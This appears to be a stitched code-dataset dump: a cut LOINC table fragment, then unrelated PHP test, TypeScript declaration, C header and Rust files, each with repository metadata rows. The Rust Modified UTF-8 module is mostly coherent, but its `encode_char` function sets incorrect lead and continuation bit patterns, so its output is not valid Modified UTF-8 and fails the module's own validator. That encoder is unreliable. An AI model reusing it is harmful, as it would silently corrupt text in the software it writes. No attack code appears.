43. AskAtOrderEntry,Text,255,"A multi-valued, semicolon delimited list of LOINC codes that represent
44. AssociatedObservations,Text,255,"A multi-valued, semicolon delimited list of LOINC codes that represent
45. VersionFirstReleased,Text,10,"The LOINC version number in which the record was first released. For
oldest records where the version released number is known, this field
46. ValidHL7AttachmentRequest,Text,50,"A value of ‘Y’ in this field indicates that this LOINC code can be
Table 31b: MAP_TO Table Structure,,,
| 59.068571 | 111 | 0.74867 |
d262fa8efd84ae6ab3519b1ebee074672de033db | 1,388 | php | PHP | tests/Unit/Mapping/Validation/VaccinationMappingTest.php | chubbyphp/chubbyphp | 41efda927e259b9dcc8185c50dd6f9c6ee555aa4 | [
"MIT"
] | 34 | 2018-10-11T08:29:05.000Z | 2022-01-08T05:07:00.000Z | tests/Unit/Mapping/Validation/VaccinationMappingTest.php | chubbyphp/chubbyphp | 41efda927e259b9dcc8185c50dd6f9c6ee555aa4 | [
"MIT"
] | 16 | 2018-10-12T14:14:22.000Z | 2021-03-04T16:39:34.000Z | tests/Unit/Mapping/Validation/VaccinationMappingTest.php | chubbyphp/chubbyphp | 41efda927e259b9dcc8185c50dd6f9c6ee555aa4 | [
"MIT"
] | 6 | 2018-10-03T19:38:14.000Z | 2021-11-08T03:08:19.000Z | <?php
declare(strict_types=1);
namespace App\Tests\Unit\Mapping\Validation;
use App\Mapping\Validation\VaccinationMapping;
use App\Model\Vaccination;
use Chubbyphp\Validation\Constraint\NotBlankConstraint;
use Chubbyphp\Validation\Constraint\NotNullConstraint;
use Chubbyphp\Validation\Constraint\TypeConstraint;
use Chubbyphp\Validation\Mapping\ValidationPropertyMappingBuilder;
use PHPUnit\Framework\TestCase;
/**
* @covers \App\Mapping\Validation\VaccinationMapping
*
* @internal
*/
final class VaccinationMappingTest extends TestCase
{
public function testGetClass(): void
{
$mapping = new VaccinationMapping();
self::assertSame(Vaccination::class, $mapping->getClass());
}
public function testGetValidationClassMapping(): void
{
$mapping = new VaccinationMapping();
self::assertNull($mapping->getValidationClassMapping('/path'));
}
public function testGetValidationPropertyMappings(): void
{
$mapping = new VaccinationMapping();
$propertyMappings = $mapping->getValidationPropertyMappings('/path');
self::assertEquals([
ValidationPropertyMappingBuilder::create('name', [
new NotNullConstraint(),
new NotBlankConstraint(),
new TypeConstraint('string'),
])->getMapping(),
], $propertyMappings);
}
}
| 27.215686 | 77 | 0.696686 |
dfe4dbc462ef04f0ab027d99080521bbfb5a88f9 | 169 | ts | TypeScript | src/utils/string-utils.d.ts | teisanutudor/module-generator-plugin | a5b7e787408d555930fb5d606e1a2d61db46f09f | [
"MIT"
] | null | null | null | src/utils/string-utils.d.ts | teisanutudor/module-generator-plugin | a5b7e787408d555930fb5d606e1a2d61db46f09f | [
"MIT"
] | null | null | null | src/utils/string-utils.d.ts | teisanutudor/module-generator-plugin | a5b7e787408d555930fb5d606e1a2d61db46f09f | [
"MIT"
] | null | null | null | export declare function lowerCase(str: string): string;
export declare function upperCase(str: string): string;
export declare function dashToUnderscore(str: any): any;
| 42.25 | 56 | 0.804734 |
0ed5ca349c15d3cb9f428844c855fdd9fdb9ff96 | 1,526 | h | C | RiscVPkg/Universal/Sec/SecMain.h | HewlettPackard/RiscVEdk2 | 7f65b0faea1f531a67ac07a4acb94e34770a1a03 | [
"BSD-2-Clause"
] | 9 | 2018-02-13T02:36:50.000Z | 2021-12-05T18:37:25.000Z | RiscVPkg/Universal/Sec/SecMain.h | HewlettPackard/RiscVEdk2 | 7f65b0faea1f531a67ac07a4acb94e34770a1a03 | [
"BSD-2-Clause"
] | null | null | null | RiscVPkg/Universal/Sec/SecMain.h | HewlettPackard/RiscVEdk2 | 7f65b0faea1f531a67ac07a4acb94e34770a1a03 | [
"BSD-2-Clause"
] | null | null | null | /** @file
RISC-V SEC phase module definitions..
Copyright (c) 2016, Hewlett Packard Enterprise Development LP. All rights reserved.<BR>
This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution. The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#include <PiPei.h>
#include <Library/PeimEntryPoint.h>
#include <Library/BaseLib.h>
#include <Library/DebugLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/PeiServicesLib.h>
#include <Library/PcdLib.h>
#include <Library/DebugAgentLib.h>
#include <Library/IoLib.h>
#include <Library/PeCoffLib.h>
#include <Library/PeCoffGetEntryPointLib.h>
#include <Library/PeCoffExtraActionLib.h>
#include <Library/ExtractGuidedSectionLib.h>
#include <Library/HobLib.h>
#include <Ppi/TemporaryRamSupport.h>
#include <Ppi/TemporaryRamDone.h>
#include <RiscV.h>
VOID
SecMachineModeTrapHandler (
IN VOID
);
VOID
EFIAPI
SecStartupPhase2 (
IN VOID *Context
);
EFI_STATUS
EFIAPI
TemporaryRamMigration (
IN CONST EFI_PEI_SERVICES **PeiServices,
IN EFI_PHYSICAL_ADDRESS TemporaryMemoryBase,
IN EFI_PHYSICAL_ADDRESS PermanentMemoryBase,
IN UINTN CopySize
);
EFI_STATUS
EFIAPI
TemporaryRamDone (
VOID
);
| 26.77193 | 89 | 0.753604 |
41e9ac87b4d5d47a7fb2878e0b5f24b3eddf8b61 | 262 | h | C | source/VehicleDAO/VehicleDAOMacros.h | VincentPT/vschk | f8f40a7666d80224a9a24c097a4d52f5507d03de | [
"MIT"
] | null | null | null | source/VehicleDAO/VehicleDAOMacros.h | VincentPT/vschk | f8f40a7666d80224a9a24c097a4d52f5507d03de | [
"MIT"
] | null | null | null | source/VehicleDAO/VehicleDAOMacros.h | VincentPT/vschk | f8f40a7666d80224a9a24c097a4d52f5507d03de | [
"MIT"
] | null | null | null | #pragma once
#ifdef _WIN32
#ifdef VEHICLEDAO_EXPORTS
#define VEHICLEDAO_API __declspec(dllexport)
#else
#define VEHICLEDAO_API __declspec(dllimport)
#endif //VEHICLEDAO_EXPORTS
#else //_WIN32
#define VEHICLEDAO_API
#endif //_WIN32 | 26.2 | 52 | 0.725191 |
de6f70039e38789f75590e83c6cab0602af4f204 | 17,665 | rs | Rust | src/mutf8.rs | Radviger/noak | 3686701dcbb1ea00f777e1ecdd0d07062e17da95 | [
"MIT"
] | 15 | 2020-06-03T14:10:41.000Z | 2022-03-24T07:14:28.000Z | src/mutf8.rs | Radviger/noak | 3686701dcbb1ea00f777e1ecdd0d07062e17da95 | [
"MIT"
] | null | null | null | src/mutf8.rs | Radviger/noak | 3686701dcbb1ea00f777e1ecdd0d07062e17da95 | [
"MIT"
] | 2 | 2021-02-03T20:21:57.000Z | 2021-10-01T05:35:11.000Z | //! Modified UTF-8 string handling
use crate::error::*;
use std::{
borrow::{Borrow, ToOwned},
char,
fmt::{self, Write},
iter::{DoubleEndedIterator, FromIterator},
ops::{self, Deref},
str,
};
/// A Modified UTF-8 string slice, like [prim@str].
#[derive(PartialEq, Eq, PartialOrd, Ord, Hash)]
#[repr(transparent)]
pub struct MStr {
inner: [u8],
}
impl MStr {
/// Creates a new string from a modified UTF-8 byte slice.
pub fn from_bytes(v: &[u8]) -> Result<&MStr, DecodeError> {
if is_mutf8_valid(v) {
Ok(unsafe { MStr::from_mutf8_unchecked(v) })
} else {
Err(DecodeError::new(DecodeErrorKind::InvalidMutf8))
}
}
unsafe fn from_mutf8_unchecked(v: &[u8]) -> &MStr {
&*(v as *const [u8] as *const MStr)
}
#[inline]
pub fn len(&self) -> usize {
self.inner.len()
}
#[inline]
pub fn is_empty(&self) -> bool {
self.inner.is_empty()
}
#[inline]
pub fn as_bytes(&self) -> &[u8] {
&self.inner
}
#[inline]
pub fn to_str(&self) -> Option<&str> {
str::from_utf8(&self.inner).ok()
}
#[inline]
pub fn is_char_boundary(&self, index: usize) -> bool {
if index == 0 || index == self.len() {
true
} else {
match self.as_bytes().get(index) {
None => false,
Some(&b) => b & 0b1100_0000 != 0b1000_0000,
}
}
}
#[inline]
pub fn chars(&self) -> Chars {
Chars { inner: &self.inner }
}
#[inline]
pub fn chars_lossy(&self) -> CharsLossy {
CharsLossy { inner: &self.inner }
}
#[inline]
pub fn display(&self) -> Display {
Display { inner: &self.inner }
}
}
impl Default for &'static MStr {
fn default() -> &'static MStr {
unsafe { MStr::from_mutf8_unchecked(&[]) }
}
}
impl ops::Index<ops::RangeFull> for MStr {
type Output = MStr;
#[inline]
fn index(&self, _: ops::RangeFull) -> &MStr {
self
}
}
impl ops::Index<ops::Range<usize>> for MStr {
type Output = MStr;
#[inline]
fn index(&self, index: ops::Range<usize>) -> &MStr {
if index.start <= index.end && self.is_char_boundary(index.start) && self.is_char_boundary(index.end) {
unsafe { MStr::from_mutf8_unchecked(self.inner.get_unchecked(index)) }
} else {
panic!("MUtf8 index out of bounds");
}
}
}
impl ops::Index<ops::RangeInclusive<usize>> for MStr {
type Output = MStr;
#[inline]
fn index(&self, index: ops::RangeInclusive<usize>) -> &MStr {
if *index.end() == usize::max_value() {
panic!("cannot index mutf8 to maximum integer")
} else {
#[allow(clippy::range_plus_one)]
&self[*index.start()..*index.end() + 1]
}
}
}
impl ops::Index<ops::RangeTo<usize>> for MStr {
type Output = MStr;
#[inline]
fn index(&self, index: ops::RangeTo<usize>) -> &MStr {
if self.is_char_boundary(index.end) {
unsafe { MStr::from_mutf8_unchecked(self.inner.get_unchecked(index)) }
} else {
panic!("MUtf8 index out of bounds");
}
}
}
impl ops::Index<ops::RangeToInclusive<usize>> for MStr {
type Output = MStr;
#[inline]
fn index(&self, index: ops::RangeToInclusive<usize>) -> &MStr {
if index.end == usize::max_value() {
panic!("cannot index mutf8 to maximum integer")
} else {
#[allow(clippy::range_plus_one)]
&self[..index.end + 1]
}
}
}
impl ops::Index<ops::RangeFrom<usize>> for MStr {
type Output = MStr;
#[inline]
fn index(&self, index: ops::RangeFrom<usize>) -> &MStr {
if self.is_char_boundary(index.start) {
unsafe { MStr::from_mutf8_unchecked(self.inner.get_unchecked(index)) }
} else {
panic!("MUtf8 index out of bounds");
}
}
}
/// A Modified UTF-8 string, but owned, like [String].
#[derive(Default, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)]
pub struct MString {
buf: Vec<u8>,
}
impl MString {
/// Creates an empty string.
#[inline]
pub fn new() -> MString {
MString { buf: Vec::new() }
}
/// Creates an empty string with capacity.
#[inline]
pub fn with_capacity(cap: usize) -> MString {
MString {
buf: Vec::with_capacity(cap),
}
}
/// Creates a new string from a modified UTF-8 byte vector.
pub fn from_vec(buf: Vec<u8>) -> Result<MString, DecodeError> {
if is_mutf8_valid(&buf) {
Ok(MString { buf })
} else {
Err(DecodeError::new(DecodeErrorKind::InvalidMutf8))
}
}
/// Pushes a character to the string.
/// It might cause a reallocation.
pub fn push(&mut self, ch: char) {
let mut buf = [0; 6];
let size = encode_char(ch, &mut buf);
self.buf.extend_from_slice(&buf[..size]);
}
}
impl Deref for MString {
type Target = MStr;
#[inline]
fn deref(&self) -> &MStr {
unsafe { MStr::from_mutf8_unchecked(&self.buf) }
}
}
impl Borrow<MStr> for MString {
#[inline]
fn borrow(&self) -> &MStr {
self.deref()
}
}
impl ToOwned for MStr {
type Owned = MString;
#[inline]
fn to_owned(&self) -> MString {
MString {
buf: self.inner.to_owned(),
}
}
}
impl fmt::Debug for MStr {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_char('"')?;
for c in self.chars_lossy() {
for c in c.escape_debug() {
f.write_char(c)?;
}
}
f.write_char('"')
}
}
impl fmt::Debug for MString {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
(&**self).fmt(f)
}
}
pub struct Display<'a> {
inner: &'a [u8],
}
impl<'a> fmt::Display for Display<'a> {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
let mut start = 0;
let mut i = 0;
while i < self.inner.len() {
if self.inner[i] < 0x80 {
i += 1;
} else {
if i != start {
// safe since everything from start to i is non-zero ascii
f.write_str(unsafe { str::from_utf8_unchecked(&self.inner[start..i]) })?;
}
let (size, ch) = unsafe { decode_mutf8_char(&self.inner[i..]) };
i += size;
start = i;
f.write_char(ch.unwrap_or(char::REPLACEMENT_CHARACTER))?;
}
}
if i != start {
// safe since everything from start to i is non-zero ascii
f.write_str(unsafe { str::from_utf8_unchecked(&self.inner[start..i]) })?;
}
Ok(())
}
}
impl<'a> fmt::Debug for Display<'a> {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
unsafe { MStr::from_mutf8_unchecked(self.inner) }.fmt(f)
}
}
pub struct Chars<'a> {
inner: &'a [u8],
}
impl<'a> Chars<'a> {
pub fn as_mstr(&self) -> &'a MStr {
// safe because the underlying buffer is guaranteed to be valid
unsafe { MStr::from_mutf8_unchecked(self.inner) }
}
}
impl<'a> Iterator for Chars<'a> {
type Item = Option<char>;
fn next(&mut self) -> Option<Self::Item> {
if self.inner.is_empty() {
None
} else {
let (size, ch) = unsafe { decode_mutf8_char(self.inner) };
self.inner = &self.inner[size..];
Some(ch)
}
}
}
impl<'a> DoubleEndedIterator for Chars<'a> {
fn next_back(&mut self) -> Option<Self::Item> {
if self.inner.is_empty() {
None
} else {
let (size, ch) = unsafe { decode_mutf8_char_reversed(self.inner) };
self.inner = &self.inner[..self.inner.len() - size];
Some(ch)
}
}
}
impl<'a> fmt::Debug for Chars<'a> {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let s = unsafe { MStr::from_mutf8_unchecked(self.inner) };
f.debug_struct("Chars").field("remaining", &s).finish()
}
}
pub struct CharsLossy<'a> {
inner: &'a [u8],
}
impl<'a> CharsLossy<'a> {
pub fn as_mstr(&self) -> &'a MStr {
// safe because the underlying buffer is guaranteed to be valid
unsafe { MStr::from_mutf8_unchecked(self.inner) }
}
}
impl<'a> Iterator for CharsLossy<'a> {
type Item = char;
fn next(&mut self) -> Option<Self::Item> {
if self.inner.is_empty() {
None
} else {
let (size, ch) = unsafe { decode_mutf8_char(self.inner) };
self.inner = &self.inner[size..];
Some(ch.unwrap_or(char::REPLACEMENT_CHARACTER))
}
}
}
impl<'a> DoubleEndedIterator for CharsLossy<'a> {
fn next_back(&mut self) -> Option<Self::Item> {
if self.inner.is_empty() {
None
} else {
let (size, ch) = unsafe { decode_mutf8_char_reversed(self.inner) };
self.inner = &self.inner[..self.inner.len() - size];
Some(ch.unwrap_or(char::REPLACEMENT_CHARACTER))
}
}
}
impl<'a> fmt::Debug for CharsLossy<'a> {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let s = unsafe { MStr::from_mutf8_unchecked(self.inner) };
f.debug_struct("CharsLossy").field("remaining", &s).finish()
}
}
fn is_mutf8_valid(v: &[u8]) -> bool {
/// The amount of bytes a character starting with a specific byte takes.
#[rustfmt::skip]
static MUTF8_CHAR_WIDTH: [u8; 256] = [
0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
];
let mut i = 0;
while i < v.len() {
let b1 = v[i];
if b1 == 0 {
return false;
}
if b1 < 0x80 {
i += 1;
} else {
let width = MUTF8_CHAR_WIDTH[b1 as usize];
if v.len() < i + width as usize {
return false;
}
match width {
2 => {
if v[i + 1] & 0b1100_0000 != 0b1000_0000 {
return false;
}
// overlong encodings which do not encode `0` are not allowed
if b1 & 0b0001_1110 == 0 && (b1 != 0b1100_0000 && v[i + 1] != 0b1000_0000) {
return false;
}
i += 2;
}
3 => {
// width = 3
if v[i + 1] & 0b1100_0000 != 0b1000_0000 || v[i + 2] & 0b1100_0000 != 0b1000_0000 {
return false;
}
// overlong encodings are not allowed
if b1.trailing_zeros() >= 4 && v[i + 1] & 0b0010_0000 == 0 {
return false;
}
i += 3;
}
_ => return false,
}
}
}
true
}
/// Decodes a character and returns its size.
/// The input bytes **must** be valid modified utf-8
unsafe fn decode_mutf8_char(v: &[u8]) -> (usize, Option<char>) {
if v[0] & 0b1000_0000 == 0b0000_0000 {
// single byte case
return (1, Some(v[0] as char));
}
if v[0] & 0b1110_0000 == 0b1100_0000 {
// two byte case
let c1 = u32::from(v[0] & 0b0001_1111) << 6;
let c2 = u32::from(v[1] & 0b0011_1111);
return (2, Some(char::from_u32_unchecked(c1 | c2)));
}
if v[0] == 0b1110_1101 {
if v.len() >= 6 && v[1] & 0b1111_0000 == 0b1010_0000 && v[3] == 0b1110_1101 && v[4] & 0b1111_0000 == 0b1011_0000
{
// six byte case (paired surrogate)
let c2 = u32::from(v[1] & 0b0000_1111) << 16;
let c3 = u32::from(v[2] & 0b0011_1111) << 10;
let c5 = u32::from(v[4] & 0b0000_1111) << 6;
let c6 = u32::from(v[5] & 0b0011_1111);
return (6, Some(char::from_u32_unchecked(0x10000 | c2 | c3 | c5 | c6)));
}
// unpaired surrogates
if v[1] & 0b1110_0000 == 0b1010_0000 {
return (3, None);
}
}
// three byte case
let c1 = u32::from(v[0] & 0b0000_1111) << 12;
let c2 = u32::from(v[1] & 0b0011_1111) << 6;
let c3 = u32::from(v[2] & 0b0011_1111);
(3, Some(char::from_u32_unchecked(c1 | c2 | c3)))
}
/// Decodes a character from back to front and returns its size.
/// The input bytes **must** be valid modified utf-8
unsafe fn decode_mutf8_char_reversed(v: &[u8]) -> (usize, Option<char>) {
let b1 = v[v.len() - 1];
if b1 & 0b1000_0000 == 0b0000_0000 {
// single byte case
return (1, Some(b1 as char));
}
let b2 = v[v.len() - 2];
if b2 & 0b1110_0000 == 0b1100_0000 {
// two byte case
let c1 = u32::from(b2 & 0b0001_1111) << 6;
let c2 = u32::from(b1 & 0b0011_1111);
return (2, Some(char::from_u32_unchecked(c1 | c2)));
}
let b3 = v[v.len() - 3];
if b3 == 0b1110_1101 {
if v.len() >= 6 {
let b4 = v[v.len() - 4];
let b5 = v[v.len() - 5];
let b6 = v[v.len() - 6];
if b2 & 0b1111_0000 == 0b1011_0000 && b5 & 0b1111_0000 == 0b1010_0000 && b6 == 0b1110_1101 {
// six byte case
let c2 = u32::from(b5 & 0b0000_1111) << 16;
let c3 = u32::from(b4 & 0b0011_1111) << 10;
let c5 = u32::from(b2 & 0b0000_1111) << 6;
let c6 = u32::from(b1 & 0b0011_1111);
return (6, Some(char::from_u32_unchecked(0x10000 | c2 | c3 | c5 | c6)));
}
}
if b2 & 0b1110_0000 == 0b1010_0000 {
return (3, None);
}
}
// three byte case
let c1 = u32::from(b3 & 0b0000_1111) << 12;
let c2 = u32::from(b2 & 0b0011_1111) << 6;
let c3 = u32::from(b1 & 0b0011_1111);
(3, Some(char::from_u32_unchecked(c1 | c2 | c3)))
}
impl From<&str> for MString {
fn from(s: &str) -> MString {
let mut buf = MString::with_capacity(s.len());
buf.extend(s.chars());
buf
}
}
impl FromIterator<char> for MString {
fn from_iter<I>(iter: I) -> MString
where
I: IntoIterator<Item = char>,
{
let mut buf = MString::new();
buf.extend(iter);
buf
}
}
impl Extend<char> for MString {
fn extend<I: IntoIterator<Item = char>>(&mut self, iter: I) {
let iter = iter.into_iter();
let (lower_bound, _) = iter.size_hint();
self.buf.reserve(lower_bound);
for ch in iter {
self.push(ch);
}
}
}
/// Encodes a char to a modified UTF-8 buffer and returns its size.
/// The buffer must at least be of the length which the char will take up.
fn encode_char(ch: char, buf: &mut [u8]) -> usize {
let ch = ch as u32;
match ch {
0x01..=0x7F => {
buf[0] = ch as u8;
1
}
0 | 0x80..=0x7FF => {
buf[0] = (0b1110_0000 | (ch >> 6)) as u8;
buf[1] = (0b1100_0000 | (ch & 0b0011_1111)) as u8;
2
}
0x800..=0xFFFF => {
buf[0] = (0b1111_0000 | (ch >> 12)) as u8;
buf[1] = (0b1100_0000 | ((ch >> 6) & 0b0011_1111)) as u8;
buf[2] = (0b1100_0000 | (ch & 0b0011_1111)) as u8;
3
}
_ => {
buf[0] = 0b1110_1101;
buf[1] = (0b1010_0000 | ((ch >> 16) & 0b0000_1111)) as u8;
buf[2] = (0b1100_0000 | ((ch >> 10) & 0b0011_1111)) as u8;
buf[3] = 0b1110_1101;
buf[4] = (0b1011_0000 | ((ch >> 6) & 0b0000_1111)) as u8;
buf[5] = (0b1100_0000 | (ch & 0b0011_1111)) as u8;
6
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
pub fn valid_mutf8() {
assert!(is_mutf8_valid(b"Hello World"));
assert!(is_mutf8_valid("Ich grüße die Welt".as_bytes()));
assert!(is_mutf8_valid("你好,世界".as_bytes()));
// paired surrogates
assert!(is_mutf8_valid(&[0xED, 0xA0, 0xBD, 0xED, 0xB0, 0x96]));
// unpaired surrogates
assert!(is_mutf8_valid(&[0xED, 0xBB, 0x8B]));
assert!(is_mutf8_valid(&[0xED, 0xA7, 0xAB]));
assert!(is_mutf8_valid(&[0xED, 0xAD, 0x9C, 0x26, 0x0A, 0x0A]));
}
#[test]
pub fn invalid_mutf8() {
assert!(!is_mutf8_valid(&[0xFF]));
assert!(!is_mutf8_valid(&[0x00]));
assert!(!is_mutf8_valid(&[0xED, 0xAD, 0xBD, 0xED, 0x25]));
}
#[test]
pub fn iterate() {
let s = MStr::from_bytes(&[0xED, 0xA0, 0xBD, 0xED, 0xB0, 0x96]).unwrap();
assert_eq!(s.chars().next_back(), s.chars().next());
}
}
| 28.584142 | 120 | 0.501444 |